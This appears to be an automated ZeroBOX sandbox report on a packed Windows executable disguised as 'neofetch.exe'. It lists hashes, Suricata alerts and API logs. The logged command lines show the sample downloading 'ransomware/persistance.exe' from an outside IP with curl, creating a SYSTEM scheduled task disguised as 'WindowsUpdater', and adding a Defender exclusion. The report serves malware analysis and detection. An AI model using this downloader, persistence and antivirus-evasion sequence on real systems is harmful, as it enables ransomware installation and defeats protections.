Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 15, 2024, 2:16 p.m.	Oct. 15, 2024, 2:20 p.m.

Size	2.6MB
Type	PE32+ executable (console) x86-64, for MS Windows
MD5	`d6b10fe0f03dc8bdf3cd5ec9e4e3d305`
SHA256	`d0786c4c6c967ba28706f92402a6151fc509b010e1d2a18f19118548bbe40393`
CRC32	`CF457AC9`
ssdeep	`49152:y62fe9dW85/6/+w0u9RQHNgB5ikccS6C8MXDTQom15:86W85/6/+sIga8MXDTQom15`
Yara	PE_Header_Zero - PE File Signature IsPE64 - (no description) UPX_Zero - UPX packed file

neofetch.exe "C:\Users\test22\AppData\Local\Temp\neofetch.exe"
2576
- cmd.exe C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
  2648
  - schtasks.exe schtasks /QUERY /TN "WindowsUpdater"
    2728
- cmd.exe C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/persistance.exe > C:\Users\test22\AppData\Local\Temp\Update.exe
  2776
  - curl.exe curl -s 130.61.181.50/ransomware/persistance.exe
    2820
- cmd.exe C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
  2896
  - schtasks.exe SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"
    2940
- cmd.exe C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
  2992
  - powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
    3036
- cmd.exe C:\Windows\system32\cmd.exe /c cls
  2196

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
130.61.181.50	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49166 -> 130.61.181.50:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.101:49166 -> 130.61.181.50:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic
TCP 130.61.181.50:80 -> 192.168.56.101:49166	2014819	ET INFO Packed Executable Download	Misc activity
TCP 130.61.181.50:80 -> 192.168.56.101:49166	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 130.61.181.50:80 -> 192.168.56.101:49166	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (9 events)

Time & API	Arguments	Status	Return
GetComputerNameA Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 15, 2024, 2:16 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 15, 2024, 2:16 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (42 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000011fc20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51ac60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51ac60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51ac60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51ac60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51ac60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51aaa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51aaa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51aaa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51aaa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51afe0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51afe0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51afe0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b4b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51a720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b360 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b360 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b51b590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000011ffa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000011ffa0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b551d10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b551d10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552a30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 15, 2024, 2:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b552a30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 15, 2024, 2:16 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://130.61.181.50/ransomware/persistance.exe

Performs some HTTP requests (1 event)

request

GET http://130.61.181.50/ransomware/persistance.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 170 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002aa0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002bb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ba1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e20000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3e1e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002bb2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002bb4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00045000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00180000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00046000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00133000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0003a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00181000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 15, 2024, 2:16 p.m.	process_identifier: 3036 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002bb7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (11 events)

cmdline	C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/persistance.exe > C:\Users\test22\AppData\Local\Temp\Update.exe
cmdline	C:\Windows\system32\cmd.exe /c cls
cmdline	schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"
cmdline	C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
